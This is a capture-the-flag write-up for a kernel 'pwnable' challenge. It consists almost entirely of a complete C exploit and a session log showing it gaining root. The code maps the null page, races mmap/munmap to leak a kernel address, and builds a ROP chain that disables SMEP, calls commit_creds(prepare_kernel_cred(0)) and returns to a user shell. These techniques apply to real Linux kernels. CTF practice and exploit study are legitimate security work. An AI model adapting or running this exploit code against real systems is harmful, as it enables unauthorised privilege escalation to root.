Fast&Furious
Category : pwnable
Summary : kernel module, use-after-free, null page dereference, memory leak, race condition
Exploit
#include <sys/mman.h>
#include <err.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <fcntl.h>
#define _GNU_SOURCE
#include <sched.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <sys/user.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <stdint.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
void *ptr;
uint64_t user_cs;
uint64_t user_ss;
uint64_t user_rflags;
uint64_t user_stack;
int32_t m_flag = 1;
int allocate_null_page(void) {
void *map = mmap((void*)0x10000, 0x1000, PROT_READ|PROT_WRITE,
MAP_PRIVATE|MAP_ANONYMOUS|MAP_GROWSDOWN|MAP_FIXED, -1, 0);
if (map == MAP_FAILED) err(1, "mmap");
int fd = open("/proc/self/mem", O_RDWR);
if (fd == -1) err(1, "open");
unsigned long addr = (unsigned long)map;
while (addr != 0) {
addr -= 0x1000;
if (lseek(fd, addr, SEEK_SET) == -1) err(1, "lseek");
char cmd[1000];
sprintf(cmd, "LD_DEBUG=help busybox 1>&%d", fd);
system(cmd);
}
}
void save_state(){
asm volatile(
"movq %%cs, %0\n"
"movq %%ss, %1\n"
"movq %%rsp, %2\n"
"pushfq\n"
"popq %3\n"
: "=r" (user_cs), "=r" (user_ss), "=r" (user_stack), "=r" (user_rflags) :: "memory"
);
}
void shell(){
execl("/bin/sh", "sh", 0);
}
#define FIRST_NOTE 176
#define PWN_WRITE 6
#define PWN_READ 66
#define PWN_EDIT 666
#define PWN_DELETE 6666
struct node{
char *data;
uint64_t size;
};
struct obj{
uint64_t count;
struct node n[16];
int idx;
};
void *usleep_mmap(void *addr){
m_flag = 1;
while(m_flag){
mmap(*(uint64_t *)addr, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0);
usleep(5);
munmap(*(uint64_t *)addr, 0x1000);
usleep(5);
}
}
int is_null(char *ptr, size_t size){
int i;
for(i=0;i<size;i++) if(ptr[i] != '\x00') return 0;
return 1;
}
int is_leaked(char *ptr, size_t size){
int i;
for(i=0;i<size-3;i++) if(*(uint32_t *)(ptr+i) == 0xffffffff) return 1;
return 0;
}
int main()
{
uint8_t pay[0x1000], leak_buf[FIRST_NOTE], tmp[0x100000];
uint64_t *null_page = 0, *rop, *rop2, *rop_base, *rop2_base, *ghost_mem;
uint64_t kernel_leak, gg_pivot_stack, gg_commit_creds, gg_prepare_kernel_cred, gg_mov_cr4, gg_mov_cr0, gg_pop_rdi, gg_pop_rcx, gg_mov_rdi_rax, gg_swapgs, gg_iretq, gg_mov_cr3_rax, gg_mov_rax_cr3, gg_pop_rsi, gg_xor_rsi;
struct obj o;
int64_t fd, status, i, cnt = 0;
pthread_t thread_t;
allocate_null_page();
printf("[+] null page allocated\n");
fd = open("/dev/pwn", 0);
while(cnt < 16 && !is_leaked((uint64_t)leak_buf, FIRST_NOTE-1)){
memset(pay, 'A', sizeof(pay));
memset(leak_buf, 0, sizeof(leak_buf));
o.count = 1;
o.n[0].data = pay;
o.n[0].size = FIRST_NOTE;
ioctl(fd, PWN_WRITE, &o);
ghost_mem = 0xcafe0000;
o.count = 3;
o.n[0].data = pay;
o.n[0].size = FIRST_NOTE-1;
o.n[1].data = ghost_mem;
o.n[1].size = 1;
o.n[2].data = leak_buf;
o.n[2].size = FIRST_NOTE-1;
o.idx = cnt;
pthread_create(&thread_t, NULL, usleep_mmap, (void *)&ghost_mem);
do{
ioctl(fd, PWN_READ, &o);
}while(is_null((uint64_t)leak_buf, FIRST_NOTE-1));
m_flag = 0;
pthread_join(thread_t, (void **)&status);
cnt += 1;
}
kernel_leak = *(uint64_t *)(leak_buf + 0x30);
if(cnt == 16 || (kernel_leak & 0xffff) != 0xa6b0){
puts("[-] kernel addr leak failed :(");
exit(-1);
}
printf("[+] kernel addr leak : %p\n", kernel_leak);
save_state();
rop = pay + 8;
rop2_base = calloc(0x1000, 1);
rop2 = (uint64_t)rop2_base + 8;
kernel_leak -= 0x41a710;
gg_pivot_stack = kernel_leak + 0x31bcaf;
gg_prepare_kernel_cred = kernel_leak - 0x1b61f0;
gg_commit_creds = kernel_leak - 0x1b65a0;
gg_pop_rdi = kernel_leak + 0x1ebd62; //
gg_mov_cr0 = kernel_leak - 0x1ff7fc;
gg_mov_cr4 = kernel_leak - 0x24fb20; //
gg_pop_rcx = kernel_leak - 0x8410d; //
gg_mov_rdi_rax = kernel_leak - 0x2415b1;
gg_swapgs = kernel_leak - 0x1ff70c;
gg_iretq = kernel_leak - 0x2393a5;
gg_mov_cr3_rax = gg_mov_cr4 + 0xbe0d09;
gg_mov_rax_cr3 = gg_mov_cr4 + 0x50354;
gg_pop_rsi = gg_mov_cr4 + 0xedde1;
gg_xor_rsi = gg_mov_cr4 + 0x9c7f23;
*rop++ = gg_pop_rdi;
*rop++ = 0x6f0;
*rop++ = gg_mov_cr4;
*rop++ = 0;
*rop++ = gg_pop_rdi;
*rop++ = 0;
*rop++ = gg_prepare_kernel_cred;
*rop++ = gg_pop_rcx;
*rop++ = 0;
*rop++ = gg_mov_rdi_rax;
*rop++ = 0;
*rop++ = gg_commit_creds;
*rop++ = gg_swapgs;
*rop++ = 0;
*rop++ = gg_mov_rax_cr3;
*rop++ = 0;
*rop++ = gg_pop_rsi;
*rop++ = (1 << 12);
*rop++ = gg_xor_rsi;
*rop++ = gg_pop_rdi;
*rop++ = rop2_base;
*rop++ = gg_pivot_stack;
*rop++ = gg_mov_cr3_rax;
*rop++ = gg_iretq;
*rop++ = shell; // rip
*rop++ = user_cs; // cs
*rop++ = user_rflags; // rflags
*rop++ = tmp + 0x4000; //user_stack; //sp
*rop++ = user_ss; //ss
*rop2++ = gg_mov_cr3_rax;
*rop2++ = gg_iretq;
*rop2++ = shell; // rip
*rop2++ = user_cs; // cs
*rop2++ = user_rflags; // rflags
*rop2++ = tmp + 0x4000; //user_stack; //sp
*rop2++ = user_ss; //
/* remove note 0 */
o.count = 0;
ioctl(fd, PWN_DELETE, &o);
/* note 0 */
o.count = 1;
o.n[0].data = pay;
o.n[0].size = 0x1f0;
ioctl(fd, PWN_WRITE, &o);
/* note 0 */
o.count = 1;
o.n[0].data = 0xdeadbeef;
o.n[0].size = 0x1f0;
o.idx = 0;
ioctl(fd, PWN_EDIT, &o);
/* note 0 */
o.count = 1;
o.n[0].data = pay;
o.n[0].size = 0x1f0;
o.idx = 0;
ioctl(fd, PWN_EDIT, &o);
*null_page = gg_pivot_stack;
/* escalate */
o.count = 0;
ioctl(fd, PWN_DELETE, &o);
close(fd);
}
Result
$ ./startvm.sh
___ ____ _____ _____ _______ ____ _____ _____ ____ ___ _ ___
/ _ \ / ___|_ _| ___/ /_ _/ ___|_ _| ___| |___ \ / _ \/ |/ _ \
| | | | | | | | |_ / / | || | | | | |_ __) | | | | | (_) |
| |_| | |___ | | | _/ / | || |___ | | | _| / __/| |_| | |\__, |
\___/ \____| |_| |_|/_/ |_| \____| |_| |_| |_____|\___/|_| /_/
~ $ /exploit
[+] null page allocated
[+] kernel addr leak : 0xffffffffa368a6b0
/home/pwn # id
uid=0(root) gid=0